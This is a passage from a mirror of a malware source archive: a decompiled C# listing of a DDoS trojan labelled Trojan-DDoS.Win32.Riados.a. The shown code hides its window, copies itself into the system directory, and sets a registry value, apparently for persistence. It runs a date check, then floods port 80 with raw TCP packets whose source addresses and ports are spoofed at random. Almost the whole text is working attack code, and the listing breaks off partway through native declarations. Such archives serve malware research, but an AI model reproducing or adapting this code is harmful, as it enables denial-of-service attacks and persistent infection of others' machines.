mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
542 lines
29 KiB
C#
542 lines
29 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: <Module>
|
|||
|
// Assembly: ARF, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 13D218E6-2AC6-45F1-825B-2D9D856DE7F9
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-DDoS.Win32.Riados.a-a0eee3157c5cf4647c24eea1210e03f95cd89369de6fd831f5ed41c889913a7d.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Security;
|
|||
|
|
|||
|
internal class \u003CModule\u003E
|
|||
|
{
|
|||
|
public static \u0024ArrayType\u00240xe7df2480 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D0;
|
|||
|
public static \u0024ArrayType\u00240x47e6e69e \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D1;
|
|||
|
public static \u0024ArrayType\u00240x14f3579d \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D2;
|
|||
|
public static \u0024ArrayType\u00240x47e6e69e \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D3;
|
|||
|
public static \u0024ArrayType\u00240x2f06ae88 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D4;
|
|||
|
public static \u0024ArrayType\u00240x42a9f01b \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D5;
|
|||
|
public static \u0024ArrayType\u00240xe7df2480 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D6;
|
|||
|
public static \u0024ArrayType\u00240x47e6e69e \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D7;
|
|||
|
public static \u0024ArrayType\u00240x42a9f01b \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D8;
|
|||
|
public static \u0024ArrayType\u00240x59f47f03 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D9;
|
|||
|
public static \u0024ArrayType\u00240x042bfd4b \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D10;
|
|||
|
public static \u0024ArrayType\u00240xf541300f \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D11;
|
|||
|
public static \u0024ArrayType\u00240x59f47f03 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D12;
|
|||
|
public static \u0024ArrayType\u00240xf541300f \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D13;
|
|||
|
public static \u0024ArrayType\u00240x16b5e9c4 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D14;
|
|||
|
public static \u0024ArrayType\u00240x16b5e9c4 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D15;
|
|||
|
public static \u0024ArrayType\u00240x16b5e9c4 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D16;
|
|||
|
public static \u0024ArrayType\u00240x1d30cc0a \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D17;
|
|||
|
public static \u0024ArrayType\u00240x6a0077b6 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D18;
|
|||
|
public static \u0024ArrayType\u00240xee1cbf17 \u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D19;
|
|||
|
public static \u0024ArrayType\u00240xe4f4c4f0 trame_send;
|
|||
|
public static int nb_caract_send;
|
|||
|
public static bool while_infini;
|
|||
|
public static uint long_data_send;
|
|||
|
public static bool ip_source_random;
|
|||
|
public static \u0024ArrayType\u00240xe4f4c4f0 data_send;
|
|||
|
public static ipv4 entete_ipv4;
|
|||
|
public static uint loops;
|
|||
|
public static tcp entete_tcp;
|
|||
|
public static \u0024ArrayType\u00240x5bb2c15a ip_source_init;
|
|||
|
public static int MyNameisOutSider;
|
|||
|
public static bool port_source_random;
|
|||
|
|
|||
|
public static unsafe int main(int argc, sbyte** argv)
|
|||
|
{
|
|||
|
\u003CModule\u003E.ShowWindow(\u003CModule\u003E.GetForegroundWindow(), 0);
|
|||
|
\u003CModule\u003E.FreeConsole();
|
|||
|
\u0024ArrayType\u00240xe7df2480 arrayType0xe7df2480;
|
|||
|
// ISSUE: cpblk instruction
|
|||
|
__memcpy(ref arrayType0xe7df2480, ref \u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D0, 9);
|
|||
|
uint num1 = 0;
|
|||
|
uint num2 = 1024;
|
|||
|
HKEY__* hkeyPtr;
|
|||
|
if (\u003CModule\u003E.RegOpenKeyExA((HKEY__*) -2147483646, (sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D1, 0U, 131097U, &hkeyPtr) == 0)
|
|||
|
{
|
|||
|
\u0024ArrayType\u00240x7692bedb arrayType0x7692bedb;
|
|||
|
if (\u003CModule\u003E.RegQueryValueExA(hkeyPtr, (sbyte*) &arrayType0xe7df2480, (uint*) 0, &num1, (byte*) &arrayType0x7692bedb, &num2) == 0)
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D2, __arglist ());
|
|||
|
else
|
|||
|
\u003CModule\u003E.Create_cle();
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
uint keyExA = (uint) \u003CModule\u003E.RegCreateKeyExA((HKEY__*) -2147483646, (sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D3, 0U, (sbyte*) 0, 0U, 983103U, (_SECURITY_ATTRIBUTES*) 0, &hkeyPtr, (uint*) 0);
|
|||
|
\u003CModule\u003E.Create_cle();
|
|||
|
}
|
|||
|
if (*(int*) ((IntPtr) \u003CModule\u003E.gmtime(&\u003CModule\u003E.time((int*) 0)) + 28) + 1 >= 299)
|
|||
|
\u003CModule\u003E.init_var();
|
|||
|
else
|
|||
|
\u003CModule\u003E.exit(0);
|
|||
|
while (\u003CModule\u003E.loops != 0U || \u003CModule\u003E.while_infini)
|
|||
|
{
|
|||
|
--\u003CModule\u003E.loops;
|
|||
|
\u003CModule\u003E.Random_change_the_values();
|
|||
|
\u003CModule\u003E.send_trame();
|
|||
|
\u003CModule\u003E.view_result();
|
|||
|
\u003CModule\u003E.Sleep(1U);
|
|||
|
}
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void Create_cle()
|
|||
|
{
|
|||
|
\u0024ArrayType\u00240x0a833ae0 arrayType0x0a833ae0_1;
|
|||
|
// ISSUE: cpblk instruction
|
|||
|
__memcpy(ref arrayType0x0a833ae0_1, ref \u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D4, 1);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: initblk instruction
|
|||
|
__memset((\u0024ArrayType\u00240x0a833ae0&) ((IntPtr) &arrayType0x0a833ae0_1 + 1), 0, (int) byte.MaxValue);
|
|||
|
int currentDirectoryA = (int) \u003CModule\u003E.GetCurrentDirectoryA(256U, (sbyte*) &arrayType0x0a833ae0_1);
|
|||
|
int moduleFileNameA = (int) \u003CModule\u003E.GetModuleFileNameA((HINSTANCE__*) 0, (sbyte*) &arrayType0x0a833ae0_1, 261U);
|
|||
|
\u0024ArrayType\u00240x0a833ae0 arrayType0x0a833ae0_2;
|
|||
|
\u003CModule\u003E.strcpy((sbyte*) &arrayType0x0a833ae0_2, (sbyte*) &arrayType0x0a833ae0_1);
|
|||
|
sbyte* numPtr = (sbyte*) \u003CModule\u003E.@new(260U);
|
|||
|
\u003CModule\u003E.GetSystemDirectoryA(numPtr, 260U);
|
|||
|
\u0024ArrayType\u00240x0a833ae0 arrayType0x0a833ae0_3;
|
|||
|
\u003CModule\u003E.strcpy((sbyte*) &arrayType0x0a833ae0_3, numPtr);
|
|||
|
\u003CModule\u003E.strcat((sbyte*) &arrayType0x0a833ae0_3, (sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D5);
|
|||
|
\u003CModule\u003E.CopyFileA((sbyte*) &arrayType0x0a833ae0_2, (sbyte*) &arrayType0x0a833ae0_3, 0);
|
|||
|
\u0024ArrayType\u00240xe7df2480 arrayType0xe7df2480;
|
|||
|
// ISSUE: cpblk instruction
|
|||
|
__memcpy(ref arrayType0xe7df2480, ref \u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D6, 9);
|
|||
|
HKEY__* hkeyPtr;
|
|||
|
uint num;
|
|||
|
if (\u003CModule\u003E.RegCreateKeyExA((HKEY__*) -2147483646, (sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D7, 0U, (sbyte*) 0, 0U, 983103U, (_SECURITY_ATTRIBUTES*) 0, &hkeyPtr, &num) != 0)
|
|||
|
\u003CModule\u003E.exit(0);
|
|||
|
\u003CModule\u003E.RegSetValueExA(hkeyPtr, (sbyte*) &arrayType0xe7df2480, 0U, 1U, (byte*) &arrayType0x0a833ae0_3, \u003CModule\u003E.strlen((sbyte*) &arrayType0x0a833ae0_3));
|
|||
|
\u003CModule\u003E.RegCloseKey(hkeyPtr);
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void init_var()
|
|||
|
{
|
|||
|
\u003CModule\u003E.srand(\u003CModule\u003E.GetTickCount());
|
|||
|
\u003CModule\u003E.strcpy((sbyte*) &\u003CModule\u003E.ip_source_init, (sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D8);
|
|||
|
\u003CModule\u003E.port_source_random = true;
|
|||
|
\u003CModule\u003E.ip_source_random = true;
|
|||
|
\u003CModule\u003E.loops = 0U;
|
|||
|
\u003CModule\u003E.while_infini = true;
|
|||
|
\u003CModule\u003E.strcpy((sbyte*) &\u003CModule\u003E.data_send, (sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D9);
|
|||
|
\u003CModule\u003E.long_data_send = \u003CModule\u003E.strlen((sbyte*) &\u003CModule\u003E.data_send);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ref \u003CModule\u003E.entete_tcp = (short) 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 2) = (short) \u003CModule\u003E.htons((ushort) 80);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 4) = 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 8) = 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 65520);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 65295 | 80);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 65279);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) | 512);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 64511);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 63487);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 61439);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 57343);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 12) & 16383);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 14) = (short) \u003CModule\u003E.htons((ushort) 16384);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 16) = (short) 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 18) = (short) 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(sbyte&) ref \u003CModule\u003E.entete_ipv4 = (sbyte) ((int) ^(byte&) ref \u003CModule\u003E.entete_ipv4 & 240 | 5);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(sbyte&) ref \u003CModule\u003E.entete_ipv4 = (sbyte) ((int) ^(byte&) ref \u003CModule\u003E.entete_ipv4 & 15 | 64);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(sbyte&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 1) = (sbyte) 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 2) = (short) 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 4) = (short) 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 6) = (short) ((int) ^(ushort&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 6) & 65504);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(sbyte&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 8) = (sbyte) 100;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(sbyte&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 9) = (sbyte) 6;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 12) = 0;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 16) = (int) \u003CModule\u003E.resolution_de_nom(true, (sbyte*) &\u003CModule\u003E.ip_source_init);
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void management_arguments(int argc, sbyte** argv)
|
|||
|
{
|
|||
|
\u003CModule\u003E.ip_source_random = true;
|
|||
|
\u003CModule\u003E.port_source_random = true;
|
|||
|
sbyte* numPtr;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 2) = (short) \u003CModule\u003E.htons((ushort) ((int) (uint) \u003CModule\u003E.strtod((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D10, &numPtr) & (int) ushort.MaxValue));
|
|||
|
int num;
|
|||
|
\u003CModule\u003E.long_data_send = (uint) \u003CModule\u003E.strtod((sbyte*) *(int*) ((IntPtr) argv + (num + 1) * 4), &numPtr);
|
|||
|
\u003CModule\u003E.strcpy((sbyte*) &\u003CModule\u003E.data_send, \u003CModule\u003E.dimensionnement_de_data_a_envoyer(false, (sbyte*) &\u003CModule\u003E.data_send, \u003CModule\u003E.long_data_send));
|
|||
|
\u003CModule\u003E.while_infini = true;
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void Random_change_the_values()
|
|||
|
{
|
|||
|
if (\u003CModule\u003E.ip_source_random)
|
|||
|
{
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 12) = (int) \u003CModule\u003E.generation_d_une_adresse_ip_aleatoire(0);
|
|||
|
}
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 4) = (short) (\u003CModule\u003E.rand() % 65536);
|
|||
|
if (\u003CModule\u003E.port_source_random)
|
|||
|
{
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ref \u003CModule\u003E.entete_tcp = (short) (\u003CModule\u003E.rand() % 64511 + 1025);
|
|||
|
}
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 4) = (int) (ushort) (\u003CModule\u003E.rand() % 65536);
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void send_trame()
|
|||
|
{
|
|||
|
WSAData wsaData;
|
|||
|
if (\u003CModule\u003E.WSAStartup((ushort) 514, &wsaData) != 0)
|
|||
|
\u003CModule\u003E.exit_error(1);
|
|||
|
uint num1 = \u003CModule\u003E.socket(2, 3, (int) byte.MaxValue);
|
|||
|
if (num1 == uint.MaxValue)
|
|||
|
\u003CModule\u003E.exit_error(2);
|
|||
|
int num2 = 1;
|
|||
|
if (\u003CModule\u003E.setsockopt(num1, 0, 2, (sbyte*) &num2, 4) != 0)
|
|||
|
\u003CModule\u003E.exit_error(3);
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ((IntPtr) &\u003CModule\u003E.entete_tcp + 16) = (short) \u003CModule\u003E.calcul_du_checksum_tcp(false, (uint) ^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 12), (uint) ^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 16), \u003CModule\u003E.entete_tcp, (sbyte*) &\u003CModule\u003E.data_send);
|
|||
|
\u003CModule\u003E.memcpy((void*) &\u003CModule\u003E.trame_send, (void*) &\u003CModule\u003E.entete_ipv4, 20U);
|
|||
|
\u003CModule\u003E.memcpy((void*) ((IntPtr) &\u003CModule\u003E.trame_send + 20), (void*) &\u003CModule\u003E.entete_tcp, 20U);
|
|||
|
\u003CModule\u003E.memcpy((void*) ((IntPtr) &\u003CModule\u003E.trame_send + 40), (void*) &\u003CModule\u003E.data_send, \u003CModule\u003E.long_data_send);
|
|||
|
sockaddr_in sockaddrIn;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(short&) ref sockaddrIn = (short) 2;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ((IntPtr) &sockaddrIn + 4) = ^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 16);
|
|||
|
\u003CModule\u003E.nb_caract_send = \u003CModule\u003E.sendto(num1, (sbyte*) &\u003CModule\u003E.trame_send, (int) \u003CModule\u003E.long_data_send + 40, 0, (sockaddr*) &sockaddrIn, 16);
|
|||
|
if (\u003CModule\u003E.nb_caract_send < 1)
|
|||
|
\u003CModule\u003E.exit_error(4);
|
|||
|
\u003CModule\u003E.closesocket(num1);
|
|||
|
\u003CModule\u003E.WSACleanup();
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void exit_error(int error)
|
|||
|
{
|
|||
|
if (error == 1)
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D11, __arglist ());
|
|||
|
if (error == 2)
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D12, __arglist ());
|
|||
|
if (error == 3)
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D13, __arglist ());
|
|||
|
if (error == 4)
|
|||
|
{
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D14, __arglist ());
|
|||
|
\u003CModule\u003E.Sleep(100000U);
|
|||
|
\u003CModule\u003E.init_var();
|
|||
|
}
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D15, __arglist (error));
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D16, __arglist (\u003CModule\u003E.WSAGetLastError()));
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D17, __arglist ());
|
|||
|
}
|
|||
|
|
|||
|
public static unsafe void view_result()
|
|||
|
{
|
|||
|
in_addr inAddr;
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ref inAddr = ^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 12);
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D18, __arglist ((IntPtr) \u003CModule\u003E.inet_ntoa(inAddr)));
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
// ISSUE: cast to a reference type
|
|||
|
// ISSUE: explicit reference operation
|
|||
|
^(int&) ref inAddr = ^(int&) ((IntPtr) &\u003CModule\u003E.entete_ipv4 + 16);
|
|||
|
\u003CModule\u003E.printf((sbyte*) &\u003CModule\u003E.\u003FA0xe8b08e53\u002Eunnamed\u002Dglobal\u002D19, __arglist ((IntPtr) \u003CModule\u003E.inet_ntoa(inAddr), \u003CModule\u003E.nb_caract_send));
|
|||
|
}
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern void Sleep([In] uint obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern void exit([In] int obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe tm* gmtime([In] int* obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int time([In] int* obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int RegCreateKeyExA(
|
|||
|
[In] HKEY__* obj0,
|
|||
|
[In] sbyte* obj1,
|
|||
|
[In] uint obj2,
|
|||
|
[In] sbyte* obj3,
|
|||
|
[In] uint obj4,
|
|||
|
[In] uint obj5,
|
|||
|
[In] _SECURITY_ATTRIBUTES* obj6,
|
|||
|
[In] HKEY__** obj7,
|
|||
|
[In] uint* obj8);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int printf([In] sbyte* obj0, __arglist);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int RegQueryValueExA(
|
|||
|
[In] HKEY__* obj0,
|
|||
|
[In] sbyte* obj1,
|
|||
|
[In] uint* obj2,
|
|||
|
[In] uint* obj3,
|
|||
|
[In] byte* obj4,
|
|||
|
[In] uint* obj5);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int RegOpenKeyExA(
|
|||
|
[In] HKEY__* obj0,
|
|||
|
[In] sbyte* obj1,
|
|||
|
[In] uint obj2,
|
|||
|
[In] uint obj3,
|
|||
|
[In] HKEY__** obj4);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern int FreeConsole();
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int ShowWindow([In] HWND__* obj0, [In] int obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe HWND__* GetForegroundWindow();
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int RegCloseKey([In] HKEY__* obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe uint strlen([In] sbyte* obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int RegSetValueExA(
|
|||
|
[In] HKEY__* obj0,
|
|||
|
[In] sbyte* obj1,
|
